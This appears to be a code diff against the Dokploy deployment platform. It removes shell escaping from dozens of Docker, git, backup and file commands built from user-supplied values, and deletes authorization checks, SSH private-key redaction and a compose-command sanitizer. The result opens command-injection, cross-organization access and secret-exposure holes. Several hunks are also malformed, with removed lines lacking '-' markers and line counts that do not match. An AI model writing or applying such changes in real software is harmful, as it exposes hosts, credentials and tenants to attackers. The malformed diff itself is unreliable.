 		await execAsyncRemote(certificate.serverId, command);
--- a/packages/server/src/services/compose.ts
+++ b/packages/server/src/services/compose.ts
@@ -33,7 +33,6 @@ import { cloneGitlabRepository } from "@dokploy/server/utils/providers/gitlab";
 import { getCreateComposeFileCommand } from "@dokploy/server/utils/providers/raw";
 import { TRPCError } from "@trpc/server";
 import { eq } from "drizzle-orm";
 import { quote } from "shell-quote";
 import type { z } from "zod";
 import { encodeBase64 } from "../utils/docker/utils";
 import { getDokployUrl } from "./admin";
@@ -473,7 +472,7 @@ export const startCompose = async (composeId: string) => {
 		const projectPath = join(COMPOSE_PATH, compose.appName, "code");
 		const path =
 			compose.sourceType === "raw" ? "docker-compose.yml" : compose.composePath;
-		const baseCommand = `env -i PATH="$PATH" docker compose -p ${quote([compose.appName])} -f ${quote([path])} up -d`;
+		const baseCommand = `env -i PATH="$PATH" docker compose -p ${compose.appName} -f ${path} up -d`;
 		if (compose.composeType === "docker-compose") {
 			if (compose.serverId) {
 				await execAsyncRemote(
--- a/packages/server/src/services/docker.ts
+++ b/packages/server/src/services/docker.ts
@@ -2,7 +2,6 @@ import {
 	execAsync,
 	execAsyncRemote,
 } from "@dokploy/server/utils/process/execAsync";
 import { quote } from "shell-quote";
 export const getContainers = async (serverId?: string | null) => {
 	try {
@@ -520,7 +519,7 @@ export const getSwarmNodes = async (serverId?: string) => {
 export const getNodeInfo = async (nodeId: string, serverId?: string) => {
 	try {
-		const command = `docker node inspect ${quote([nodeId])} --format '{{json .}}'`;
+		const command = `docker node inspect ${nodeId} --format '{{json .}}'`;
 		let stdout = "";
 		let stderr = "";
 		if (serverId) {
--- a/packages/server/src/services/git-provider.ts
+++ b/packages/server/src/services/git-provider.ts
@@ -119,30 +119,3 @@ export const getAccessibleGitProviderIds = async (session: {
 	}
 	return result;
 };
 /**
 * Authorizes read access to a specific git provider for the current session.
 * Throws if the provider belongs to a different organization (cross-org IDOR)
 * or if the caller is not entitled to it within the active organization.
 * Must be called before returning any git-provider record that carries secrets
 * (OAuth tokens, app private keys, webhook secrets).
 */
 export const assertGitProviderAccess = async (
 	session: { userId: string; activeOrganizationId: string },
 	provider: { gitProviderId: string; organizationId: string },
 ) => {
 	if (provider.organizationId !== session.activeOrganizationId) {
 		throw new TRPCError({
 			code: "NOT_FOUND",
 			message: "Git provider not found",
 		});
 	}
 	const accessibleIds = await getAccessibleGitProviderIds(session);
 	if (!accessibleIds.has(provider.gitProviderId)) {
 		throw new TRPCError({
 			code: "FORBIDDEN",
 			message: "You don't have access to this git provider",
 		});
 	}
 };
--- a/packages/server/src/services/libsql.ts
+++ b/packages/server/src/services/libsql.ts
@@ -11,7 +11,6 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
 import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
 import { TRPCError } from "@trpc/server";
 import { eq, getTableColumns } from "drizzle-orm";
 import { quote } from "shell-quote";
 import type { z } from "zod";
 import { validUniqueServerAppName } from "./project";
@@ -141,7 +140,7 @@ export const deployLibsql = async (
 		if (libsql.serverId) {
 			await execAsyncRemote(
 				libsql.serverId,
-				`docker pull ${quote([libsql.dockerImage])}`,
+				`docker pull ${libsql.dockerImage}`,
 				onData,
 			);
 		} else {
--- a/packages/server/src/services/mariadb.ts
+++ b/packages/server/src/services/mariadb.ts
@@ -11,7 +11,6 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
 import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
 import { TRPCError } from "@trpc/server";
 import { eq, getTableColumns } from "drizzle-orm";
 import { quote } from "shell-quote";
 import type { z } from "zod";
 import { validUniqueServerAppName } from "./project";
@@ -146,7 +145,7 @@ export const deployMariadb = async (
 		if (mariadb.serverId) {
 			await execAsyncRemote(
 				mariadb.serverId,
-				`docker pull ${quote([mariadb.dockerImage])}`,
+				`docker pull ${mariadb.dockerImage}`,
 				onData,
 			);
 		} else {
--- a/packages/server/src/services/mongo.ts
+++ b/packages/server/src/services/mongo.ts
@@ -12,7 +12,6 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
 import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
 import { TRPCError } from "@trpc/server";
 import { eq, getTableColumns } from "drizzle-orm";
 import { quote } from "shell-quote";
 import type { z } from "zod";
 import { validUniqueServerAppName } from "./project";
@@ -161,7 +160,7 @@ export const deployMongo = async (
 		if (mongo.serverId) {
 			await execAsyncRemote(
 				mongo.serverId,
-				`docker pull ${quote([mongo.dockerImage])}`,
+				`docker pull ${mongo.dockerImage}`,
 				onData,
 			);
 		} else {
--- a/packages/server/src/services/mount.ts
+++ b/packages/server/src/services/mount.ts
@@ -18,7 +18,6 @@ import {
 } from "@dokploy/server/utils/process/execAsync";
 import { TRPCError } from "@trpc/server";
 import { eq, type SQL, sql } from "drizzle-orm";
 import { quote } from "shell-quote";
 import type { z } from "zod";
 export type Mount = typeof mounts.$inferSelect;
@@ -318,7 +317,7 @@ export const updateFileMount = async (mountId: string) => {
 	try {
 		const serverId = await getServerId(mount);
 		const encodedContent = encodeBase64(mount.content || "");
-		const command = `echo "${encodedContent}" | base64 -d > ${quote([fullPath])}`;
+		const command = `echo "${encodedContent}" | base64 -d > ${fullPath}`;
 		if (serverId) {
 			await execAsyncRemote(serverId, command);
 		} else {
@@ -338,7 +337,7 @@ export const deleteFileMount = async (mountId: string) => {
 	try {
 		const serverId = await getServerId(mount);
 		if (serverId) {
-			const command = `rm -rf ${quote([fullPath])}`;
+			const command = `rm -rf ${fullPath}`;
 			await execAsyncRemote(serverId, command);
 		} else {
 			await removeFileOrDirectory(fullPath);
--- a/packages/server/src/services/mysql.ts
+++ b/packages/server/src/services/mysql.ts
@@ -11,7 +11,6 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
 import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
 import { TRPCError } from "@trpc/server";
 import { eq, getTableColumns } from "drizzle-orm";
 import { quote } from "shell-quote";
 import type { z } from "zod";
 import { validUniqueServerAppName } from "./project";
@@ -144,7 +143,7 @@ export const deployMySql = async (
 		if (mysql.serverId) {
 			await execAsyncRemote(
 				mysql.serverId,
-				`docker pull ${quote([mysql.dockerImage])}`,
+				`docker pull ${mysql.dockerImage}`,
 				onData,
 			);
 		} else {
--- a/packages/server/src/services/patch-repo.ts
+++ b/packages/server/src/services/patch-repo.ts
@@ -1,7 +1,6 @@
 import { join } from "node:path";
 import { paths } from "@dokploy/server/constants";
 import { TRPCError } from "@trpc/server";
 import { quote } from "shell-quote";
 import { execAsync, execAsyncRemote } from "../utils/process/execAsync";
 import { cloneBitbucketRepository } from "../utils/providers/bitbucket";
 import { cloneGitRepository } from "../utils/providers/git";
@@ -86,7 +85,7 @@ export const readPatchRepoDirectory = async (
 	serverId?: string | null,
 ): Promise<DirectoryEntry[]> => {
 	// Use git ls-tree to get tracked files only
-	const command = `cd ${quote([repoPath])} && git ls-tree -r --name-only HEAD`;
+	const command = `cd "${repoPath}" && git ls-tree -r --name-only HEAD`;
 	let stdout: string;
 	try {
@@ -169,7 +168,7 @@ export const readPatchRepoFile = async (
 	const repoPath = join(PATCH_REPOS_PATH, type, application.appName);
 	const fullPath = join(repoPath, filePath);
-	const command = `cat ${quote([fullPath])}`;
+	const command = `cat "${fullPath}"`;
 	if (serverId) {
 		const result = await execAsyncRemote(serverId, command);
--- a/packages/server/src/services/postgres.ts
+++ b/packages/server/src/services/postgres.ts
@@ -11,7 +11,6 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
 import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
 import { TRPCError } from "@trpc/server";
 import { eq, getTableColumns } from "drizzle-orm";
 import { quote } from "shell-quote";
 import type { z } from "zod";
 import { validUniqueServerAppName } from "./project";
@@ -156,7 +155,7 @@ export const deployPostgres = async (
 		if (postgres.serverId) {
 			await execAsyncRemote(
 				postgres.serverId,
-				`docker pull ${quote([postgres.dockerImage])}`,
+				`docker pull ${postgres.dockerImage}`,
 				onData,
 			);
 		} else {
--- a/packages/server/src/services/redis.ts
+++ b/packages/server/src/services/redis.ts
@@ -10,7 +10,6 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
 import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
 import { TRPCError } from "@trpc/server";
 import { eq } from "drizzle-orm";
 import { quote } from "shell-quote";
 import type { z } from "zod";
 import { validUniqueServerAppName } from "./project";
@@ -111,7 +110,7 @@ export const deployRedis = async (
 		if (redis.serverId) {
 			await execAsyncRemote(
 				redis.serverId,
-				`docker pull ${quote([redis.dockerImage])}`,
+				`docker pull ${redis.dockerImage}`,
 				onData,
 			);
 		} else {
--- a/packages/server/src/services/schedule.ts
+++ b/packages/server/src/services/schedule.ts
@@ -2,7 +2,7 @@ import path from "node:path";
 import { TRPCError } from "@trpc/server";
 import { eq } from "drizzle-orm";
 import type { z } from "zod";
-import { IS_CLOUD, paths } from "../constants";
+import { paths } from "../constants";
 import { db } from "../db";
 import type {
 	createScheduleSchema,
@@ -11,51 +11,9 @@ import type {
 import { type Schedule, schedules } from "../db/schema/schedule";
 import { encodeBase64 } from "../utils/docker/utils";
 import { execAsync, execAsyncRemote } from "../utils/process/execAsync";
 import { findMemberByUserId } from "./permission";
 import { findServerById } from "./server";
 export type ScheduleExtended = Awaited<ReturnType<typeof findScheduleById>>;
 // Host-level schedules (server / dokploy-server) run their script as root on the
 // host and must stay restricted to owners/admins, regardless of whether the
 // request is also tied to a service. Attaching an accessible applicationId must
 // not downgrade this to a service-access check.
 export const assertHostScheduleAccess = async (
 	ctx: { user: { id: string }; session: { activeOrganizationId: string } },
 	scheduleType: Schedule["scheduleType"] | null | undefined,
 	serverId: string | null | undefined,
 ) => {
 	if (scheduleType !== "server" && scheduleType !== "dokploy-server") return;
 	if (scheduleType === "dokploy-server" && IS_CLOUD) {
 		throw new TRPCError({
 			code: "FORBIDDEN",
 			message: "Host-level schedules are not available in the cloud version.",
 		});
 	}
 	const member = await findMemberByUserId(
 		ctx.user.id,
 		ctx.session.activeOrganizationId,
 	);
 	if (member.role !== "owner" && member.role !== "admin") {
 		throw new TRPCError({
 			code: "FORBIDDEN",
 			message: "Only owners and admins can manage server-level schedules.",
 		});
 	}
 	if (scheduleType === "server" && serverId) {
 		const targetServer = await findServerById(serverId);
 		if (targetServer.organizationId !== ctx.session.activeOrganizationId) {
 			throw new TRPCError({
 				code: "UNAUTHORIZED",
 				message: "You don't have access to this server.",
 			});
 		}
 	}
 };
 export const createSchedule = async (
 	input: z.infer<typeof createScheduleSchema>,
 ) => {
--- a/packages/server/src/services/server.ts
+++ b/packages/server/src/services/server.ts
@@ -53,27 +53,6 @@ export const findServerById = async (serverId: string) => {
 	return currentServer;
 };
 /**
 * Removes the SSH private key material from a server record before it is sent
 * to a client. `findServerById` eagerly loads the `sshKey` relation (needed for
 * server-side SSH operations), but the private key must never leave the server:
 * no client feature consumes it, and returning it exposed it to any member with
 * only `server:read`. Server-side callers keep using `findServerById` directly.
 */
 export const redactServerSshKey = <
 	T extends { sshKey?: { privateKey: string } | null },
 >(
 	serverRecord: T,
 ): T => {
 	if (!serverRecord.sshKey) {
 		return serverRecord;
 	}
 	return {
 		...serverRecord,
 		sshKey: { ...serverRecord.sshKey, privateKey: "" },
 	};
 };
 export const findServersByUserId = async (userId: string) => {
 	const orgs = await db.query.organization.findMany({
 		where: eq(organization.ownerId, userId),
--- a/packages/server/src/services/user.ts
+++ b/packages/server/src/services/user.ts
@@ -430,7 +430,7 @@ export const createOrganizationUserWithCredentials = async ({
 			.insert(user)
 			.values({
 				email: normalizedEmail,
-				emailVerified: true,
+				emailVerified: false,
 				updatedAt: now,
 			})
 			.returning({
--- a/packages/server/src/utils/backups/utils.ts
+++ b/packages/server/src/utils/backups/utils.ts
@@ -2,7 +2,6 @@ import { logger } from "@dokploy/server/lib/logger";
 import type { BackupSchedule } from "@dokploy/server/services/backup";
 import type { Destination } from "@dokploy/server/services/destination";
 import { scheduledJobs, scheduleJob } from "node-schedule";
 import { quote } from "shell-quote";
 import { keepLatestNBackups } from ".";
 import { runComposeBackup } from "./compose";
 import { runLibsqlBackup } from "./libsql";
@@ -72,16 +71,16 @@ export const getS3Credentials = (destination: Destination) => {
 	const { accessKey, secretAccessKey, region, endpoint, provider } =
 		destination;
 	const rcloneFlags = [
-		`--s3-access-key-id=${quote([accessKey])}`,
+		`--s3-access-key-id="${accessKey}"`,
-		`--s3-secret-access-key=${quote([secretAccessKey])}`,
+		`--s3-secret-access-key="${secretAccessKey}"`,
-		`--s3-region=${quote([region])}`,
+		`--s3-region="${region}"`,
-		`--s3-endpoint=${quote([endpoint])}`,
+		`--s3-endpoint="${endpoint}"`,
 		"--s3-no-check-bucket",
 		"--s3-force-path-style",
 	];
 	if (provider) {
-		rcloneFlags.unshift(`--s3-provider=${quote([provider])}`);
+		rcloneFlags.unshift(`--s3-provider="${provider}"`);
 	}
 	if (destination.additionalFlags?.length) {
@@ -91,16 +90,11 @@ export const getS3Credentials = (destination: Destination) => {
 	return rcloneFlags;
 };
 // User-controlled values (database name, user, password) are passed to the
 // container as environment variables via `docker exec -e VAR=<escaped>` and
 // referenced as "$VAR" inside the inner shell, so they never appear in the
 // inner command text. The -e value is escaped for the outer shell with
 // shell-quote; the inner script is single-quoted and reads the env vars.
 export const getPostgresBackupCommand = (
 	database: string,
 	databaseUser: string,
 ) => {
-	return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -i $CONTAINER_ID bash -c 'set -o pipefail; pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER" --no-password "$DB_NAME" | gzip'`;
+	return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; pg_dump -Fc --no-acl --no-owner -h localhost -U ${databaseUser} --no-password '${database}' | gzip"`;
 };
 export const getMariadbBackupCommand = (
@@ -108,14 +102,14 @@ export const getMariadbBackupCommand = (
 	databaseUser: string,
 	databasePassword: string,
 ) => {
-	return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID bash -c 'set -o pipefail; mariadb-dump --user="$DB_USER" --password="$DB_PASS" --single-transaction --quick --databases "$DB_NAME" | gzip'`;
+	return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; mariadb-dump --user='${databaseUser}' --password='${databasePassword}' --single-transaction --quick --databases ${database} | gzip"`;
 };
 export const getMysqlBackupCommand = (
 	database: string,
 	databasePassword: string,
 ) => {
-	return `docker exec -e DB_NAME=${quote([database])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID bash -c 'set -o pipefail; mysqldump --default-character-set=utf8mb4 -u root --password="$DB_PASS" --single-transaction --no-tablespaces --quick "$DB_NAME" | gzip'`;
+	return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; mysqldump --default-character-set=utf8mb4 -u 'root' --password='${databasePassword}' --single-transaction --no-tablespaces --quick '${database}' | gzip"`;
 };
 export const getMongoBackupCommand = (
@@ -123,11 +117,11 @@ export const getMongoBackupCommand = (
 	databaseUser: string,
 	databasePassword: string,
 ) => {
-	return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID bash -c 'set -o pipefail; mongodump -d "$DB_NAME" -u "$DB_USER" -p "$DB_PASS" --archive --authenticationDatabase admin --gzip'`;
+	return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; mongodump -d '${database}' -u '${databaseUser}' -p '${databasePassword}' --archive --authenticationDatabase admin --gzip"`;
 };
 export const getLibsqlBackupCommand = (database: string) => {
-	return `docker exec -e DB_NAME=${quote([database])} -i $CONTAINER_ID sh -c 'tar cf - -C /var/lib/sqld "$DB_NAME" | gzip'`;
+	return `docker exec -i $CONTAINER_ID sh -c "tar cf - -C /var/lib/sqld ${database} | gzip"`;
 };
 export const getServiceContainerCommand = (appName: string) => {
--- a/packages/server/src/utils/builders/compose.ts
+++ b/packages/server/src/utils/builders/compose.ts
@@ -67,20 +67,9 @@ Compose Type: ${composeType} ✅`;
 	return bashCommand;
 };
 // Shell control characters that must never appear in a user-provided compose
 // command: they would let it break out of the `docker ${command}` invocation
 // into arbitrary host commands. A normal docker compose CLI line never needs them.
 const UNSAFE_COMPOSE_COMMAND = /[;&|`$(){}<>\n\\]/;
 const sanitizeCommand = (command: string) => {
 	const sanitizedCommand = command.trim();
 	if (UNSAFE_COMPOSE_COMMAND.test(sanitizedCommand)) {
 		throw new Error(
 			"Invalid characters in compose command: shell control characters are not allowed",
 		);
 	}
 	const parts = sanitizedCommand.split(/\s+/);
 	const restCommand = parts.map((arg) => arg.replace(/^"(.*)"$/, "$1"));
@@ -99,9 +88,9 @@ export const createCommand = (compose: ComposeNested) => {
 	let command = "";
 	if (composeType === "docker-compose") {
-		command = `compose -p ${quote([appName])} -f ${quote([path])} up -d --build --remove-orphans`;
+		command = `compose -p ${appName} -f ${path} up -d --build --remove-orphans`;
 	} else if (composeType === "stack") {
-		command = `stack deploy -c ${quote([path])} ${quote([appName])} --prune --with-registry-auth`;
+		command = `stack deploy -c ${path} ${appName} --prune --with-registry-auth`;
 	}
 	return command;
@@ -135,8 +124,8 @@ export const getCreateEnvFileCommand = (compose: ComposeNested) => {
 	const encodedContent = encodeBase64(envFileContent);
 	return `
-touch ${quote([envFilePath])};
+touch ${envFilePath};
-echo "${encodedContent}" | base64 -d > ${quote([envFilePath])};
+echo "${encodedContent}" | base64 -d > "${envFilePath}";
 	`;
 };
--- a/packages/server/src/utils/builders/docker-file.ts
+++ b/packages/server/src/utils/builders/docker-file.ts
@@ -85,9 +85,9 @@ export const getDockerCommand = (application: ApplicationNested) => {
 		}
 		command += `
-echo ${quote([`Building ${appName}`])} ;
+echo "Building ${appName}" ;
-cd ${quote([dockerContextPath])} || {
+cd ${dockerContextPath} || {
-  echo ${quote([`❌ The path ${dockerContextPath} does not exist`])} ;
+  echo "❌ The path ${dockerContextPath} does not exist" ;
  exit 1;
 }
--- a/packages/server/src/utils/builders/nixpacks.ts
+++ b/packages/server/src/utils/builders/nixpacks.ts
@@ -1,7 +1,6 @@
 import path from "node:path";
 import { getStaticCommand } from "@dokploy/server/utils/builders/static";
 import { nanoid } from "nanoid";
 import { quote } from "shell-quote";
 import { prepareEnvironmentVariablesForShell } from "../docker/utils";
 import { getBuildAppDirectory } from "../filesystem/directory";
 import type { ApplicationNested } from ".";
@@ -53,10 +52,10 @@ export const getNixpacksCommand = (application: ApplicationNested) => {
 		bashCommand += `
 	docker create --name ${buildContainerId} ${appName}
-	mkdir -p ${quote([localPath])}
+	mkdir -p ${localPath}
-	docker cp ${quote([`${buildContainerId}:/app/${publishDirectory}${isDirectory ? "/." : ""}`])} ${quote([localPath])} || {
+	docker cp ${buildContainerId}:/app/${publishDirectory}${isDirectory ? "/." : ""} ${path.join(buildAppDirectory, publishDirectory)} || {
 		docker rm ${buildContainerId}
-		echo ${quote([`❌ Copying ${publishDirectory} to ${localPath} failed`])} ;
+		echo "❌ Copying ${publishDirectory} to ${path.join(buildAppDirectory, publishDirectory)} failed" ;
 		exit 1;
 	}
 	docker rm ${buildContainerId}
--- a/packages/server/src/utils/cluster/upload.ts
+++ b/packages/server/src/utils/cluster/upload.ts
@@ -5,7 +5,6 @@ import {
 	safeDockerLoginCommand,
 } from "@dokploy/server/services/registry";
 import { createRollback } from "@dokploy/server/services/rollbacks";
 import { quote } from "shell-quote";
 import type { ApplicationNested } from "../builders";
 export const uploadImageRemoteCommand = async (
@@ -125,18 +124,18 @@ const getRegistryCommands = (
 		registry.password,
 	);
 	return `
-echo ${quote([`📦 [Enabled Registry] Uploading image to '${registry.registryType}' | '${registryTag}'`])} ;
+echo "📦 [Enabled Registry] Uploading image to '${registry.registryType}' | '${registryTag}'" ;
 ${loginCmd} || {
 	echo "❌ DockerHub Failed" ;
 	exit 1;
 }
 echo "✅ Registry Login Success" ;
-docker tag ${quote([imageName])} ${quote([registryTag])} || {
+docker tag ${imageName} ${registryTag} || {
 	echo "❌ Error tagging image" ;
 	exit 1;
 }
 echo "✅ Image Tagged" ;
-docker push ${quote([registryTag])} || {
+docker push ${registryTag} || {
 	echo "❌ Error pushing image" ;
 	exit 1;
 }
--- a/packages/server/src/utils/databases/rebuild.ts
+++ b/packages/server/src/utils/databases/rebuild.ts
@@ -14,7 +14,6 @@ import { deployMySql } from "@dokploy/server/services/mysql";
 import { deployPostgres } from "@dokploy/server/services/postgres";
 import { deployRedis } from "@dokploy/server/services/redis";
 import { eq } from "drizzle-orm";
 import { quote } from "shell-quote";
 import { removeService } from "../docker/utils";
 import { execAsync, execAsyncRemote } from "../process/execAsync";
@@ -41,7 +40,7 @@ export const rebuildDatabase = async (
 	for (const mount of database.mounts) {
 		if (mount.type === "volume") {
-			const command = `docker volume rm ${quote([mount?.volumeName ?? ""])} --force`;
+			const command = `docker volume rm ${mount?.volumeName} --force`;
 			if (database.serverId) {
 				await execAsyncRemote(database.serverId, command);
 			} else {
--- a/packages/server/src/utils/docker/utils.ts
+++ b/packages/server/src/utils/docker/utils.ts
@@ -712,14 +712,14 @@ export const getCreateFileCommand = (
 ) => {
 	const fullPath = path.join(outputPath, filePath);
 	if (fullPath.endsWith(path.sep) || filePath.endsWith("/")) {
-		return `mkdir -p ${quote([fullPath])};`;
+		return `mkdir -p ${fullPath};`;
 	}
 	const directory = path.dirname(fullPath);
 	const encodedContent = encodeBase64(content);
 	return `
-		mkdir -p ${quote([directory])};
+		mkdir -p ${directory};
-		echo "${encodedContent}" | base64 -d > ${quote([fullPath])};
+		echo "${encodedContent}" | base64 -d > "${fullPath}";
 	`;
 };
--- a/packages/server/src/utils/gpu-setup.ts
+++ b/packages/server/src/utils/gpu-setup.ts
@@ -1,5 +1,4 @@
 import * as fs from "node:fs/promises";
 import { quote } from "shell-quote";
 import { execAsync, execAsyncRemote, sleep } from "../utils/process/execAsync";
 interface GPUInfo {
@@ -323,7 +322,7 @@ const setupLocalServer = async (daemonConfig: any) => {
 };
 const addGpuLabel = async (nodeId: string, serverId?: string) => {
-	const labelCommand = `docker node update --label-add gpu=true ${quote([nodeId])}`;
+	const labelCommand = `docker node update --label-add gpu=true ${nodeId}`;
 	if (serverId) {
 		await execAsyncRemote(serverId, labelCommand);
 	} else {
@@ -336,7 +335,7 @@ const verifySetup = async (nodeId: string, serverId?: string) => {
 	if (!finalStatus.swarmEnabled) {
 		const diagnosticCommands = [
-			`docker node inspect ${quote([nodeId])}`,
+			`docker node inspect ${nodeId}`,
 			'nvidia-smi -a | grep "GPU UUID"',
 			"cat /etc/docker/daemon.json",
 			"cat /etc/nvidia-container-runtime/config.toml",
--- a/packages/server/src/utils/providers/bitbucket.ts
+++ b/packages/server/src/utils/providers/bitbucket.ts
@@ -10,8 +10,8 @@ import {
 } from "@dokploy/server/services/bitbucket";
 import type { InferResultType } from "@dokploy/server/types/with";
 import { TRPCError } from "@trpc/server";
 import { quote } from "shell-quote";
 import type { z } from "zod";
 import { shellWord } from "./utils";
 export type ApplicationWithBitbucket = InferResultType<
 	"applications",
@@ -125,8 +125,8 @@ export const cloneBitbucketRepository = async ({
 	const repoToUse = entity.bitbucketRepositorySlug || bitbucketRepository;
 	const repoclone = `bitbucket.org/${bitbucketOwner}/${repoToUse}.git`;
 	const cloneUrl = getBitbucketCloneUrl(bitbucket, repoclone);
-	command += `echo ${quote([`Cloning Repo ${repoclone} to ${outputPath}: ✅`])};`;
+	command += `echo ${shellWord(`Cloning Repo ${repoclone} to ${outputPath}: ✅`)};`;
-	command += `git clone --branch ${quote([String(bitbucketBranch ?? "")])} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${quote([String(cloneUrl ?? "")])} ${quote([String(outputPath ?? "")])} --progress;`;
+	command += `git clone --branch ${shellWord(bitbucketBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
 	return command;
 };
--- a/packages/server/src/utils/providers/docker.ts
+++ b/packages/server/src/utils/providers/docker.ts
@@ -1,5 +1,4 @@
 import { safeDockerLoginCommand } from "@dokploy/server/services/registry";
 import { quote } from "shell-quote";
 import type { ApplicationNested } from "../builders";
 export const buildRemoteDocker = async (application: ApplicationNested) => {
@@ -10,7 +9,7 @@ export const buildRemoteDocker = async (application: ApplicationNested) => {
 			throw new Error("Docker image not found");
 		}
 		let command = `
-echo ${quote([`Pulling ${dockerImage}`])};
+echo "Pulling ${dockerImage}";		
 		`;
 		if (username && password) {
@@ -23,7 +22,7 @@ fi
 		}
 		command += `
-docker pull ${quote([dockerImage])} 2>&1 || {
+docker pull ${dockerImage} 2>&1 || { 
  echo "❌ Pulling image failed";
  exit 1;
 }
--- a/packages/server/src/utils/providers/git.ts
+++ b/packages/server/src/utils/providers/git.ts
@@ -4,8 +4,8 @@ import {
 	findSSHKeyById,
 	updateSSHKeyById,
 } from "@dokploy/server/services/ssh-key";
 import { quote } from "shell-quote";
 import { execAsync, execAsyncRemote } from "../process/execAsync";
 import { shellWord } from "./utils";
 interface CloneGitRepository {
 	appName: string;
@@ -62,7 +62,7 @@ export const cloneGitRepository = async ({
 	}
 	command += `rm -rf ${outputPath};`;
 	command += `mkdir -p ${outputPath};`;
-	command += `echo ${quote([`Cloning Repo Custom ${customGitUrl} to ${outputPath}: ✅`])};`;
+	command += `echo ${shellWord(`Cloning Repo Custom ${customGitUrl} to ${outputPath}: ✅`)};`;
 	if (customGitSSHKeyId) {
 		await updateSSHKeyById({
@@ -79,8 +79,8 @@ export const cloneGitRepository = async ({
 		command += "chmod 600 /tmp/id_rsa;";
 		command += `export GIT_SSH_COMMAND="${gitSshCommand}";`;
 	}
-	command += `if ! git clone --branch ${quote([String(customGitBranch ?? "")])} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${quote([String(customGitUrl ?? "")])} ${quote([String(outputPath ?? "")])}; then
+	command += `if ! git clone --branch ${shellWord(customGitBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${shellWord(customGitUrl)} ${shellWord(outputPath)}; then
-				echo ${quote([`❌ [ERROR] Fail to clone the repository ${customGitUrl}`])};
+				echo ${shellWord(`❌ [ERROR] Fail to clone the repository ${customGitUrl}`)};
 				exit 1;
 			fi
 			`;
@@ -115,7 +115,7 @@ const addHostToKnownHostsCommand = (repositoryURL: string) => {
 	// ssh-keyscan is best-effort: some Git hosts (e.g. Hugging Face) never answer
 	// it, and its exit code must not abort the clone under `set -e`. The clone's
 	// own host-key check (StrictHostKeyChecking=accept-new) is the real boundary.
-	return `ssh-keyscan -p ${Number(port)} ${quote([String(domain ?? "")])} >> ${knownHostsPath} || true;`;
+	return `ssh-keyscan -p ${Number(port)} ${shellWord(domain)} >> ${knownHostsPath} || true;`;
 };
 const sanitizeRepoPathSSH = (input: string) => {
 	const SSH_PATH_RE = new RegExp(
--- a/packages/server/src/utils/providers/gitea.ts
+++ b/packages/server/src/utils/providers/gitea.ts
@@ -7,7 +7,7 @@ import {
 } from "@dokploy/server/services/gitea";
 import type { InferResultType } from "@dokploy/server/types/with";
 import { TRPCError } from "@trpc/server";
-import { quote } from "shell-quote";
+import { shellWord } from "./utils";
 export const getErrorCloneRequirements = (entity: {
 	giteaRepository?: string | null;
@@ -177,8 +177,8 @@ export const cloneGiteaRepository = async ({
 		giteaRepository!,
 	);
-	command += `echo ${quote([`Cloning Repo ${repoClone} to ${outputPath}: ✅`])};`;
+	command += `echo ${shellWord(`Cloning Repo ${repoClone} to ${outputPath}: ✅`)};`;
-	command += `git clone --branch ${quote([String(giteaBranch ?? "")])} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${quote([String(cloneUrl ?? "")])} ${quote([String(outputPath ?? "")])} --progress;`;
+	command += `git clone --branch ${shellWord(giteaBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
 	return command;
 };
--- a/packages/server/src/utils/providers/github.ts
+++ b/packages/server/src/utils/providers/github.ts
@@ -6,8 +6,8 @@ import type { InferResultType } from "@dokploy/server/types/with";
 import { createAppAuth } from "@octokit/auth-app";
 import { TRPCError } from "@trpc/server";
 import { Octokit } from "octokit";
 import { quote } from "shell-quote";
 import type { z } from "zod";
 import { shellWord } from "./utils";
 export const authGithub = (githubProvider: Github): Octokit => {
 	if (!haveGithubRequirements(githubProvider)) {
@@ -167,8 +167,8 @@ export const cloneGithubRepository = async ({
 	command += `mkdir -p ${outputPath};`;
 	const cloneUrl = `https://oauth2:${token}@${repoclone}`;
-	command += `echo ${quote([`Cloning Repo ${repoclone} to ${outputPath}: ✅`])};`;
+	command += `echo ${shellWord(`Cloning Repo ${repoclone} to ${outputPath}: ✅`)};`;
-	command += `git clone --branch ${quote([String(branch ?? "")])} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${quote([String(cloneUrl ?? "")])} ${quote([String(outputPath ?? "")])} --progress;`;
+	command += `git clone --branch ${shellWord(branch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
 	return command;
 };
--- a/packages/server/src/utils/providers/gitlab.ts
+++ b/packages/server/src/utils/providers/gitlab.ts
@@ -8,8 +8,8 @@ import {
 } from "@dokploy/server/services/gitlab";
 import type { InferResultType } from "@dokploy/server/types/with";
 import { TRPCError } from "@trpc/server";
 import { quote } from "shell-quote";
 import type { z } from "zod";
 import { shellWord } from "./utils";
 export const refreshGitlabToken = async (gitlabProviderId: string) => {
 	const gitlabProvider = await findGitlabById(gitlabProviderId);
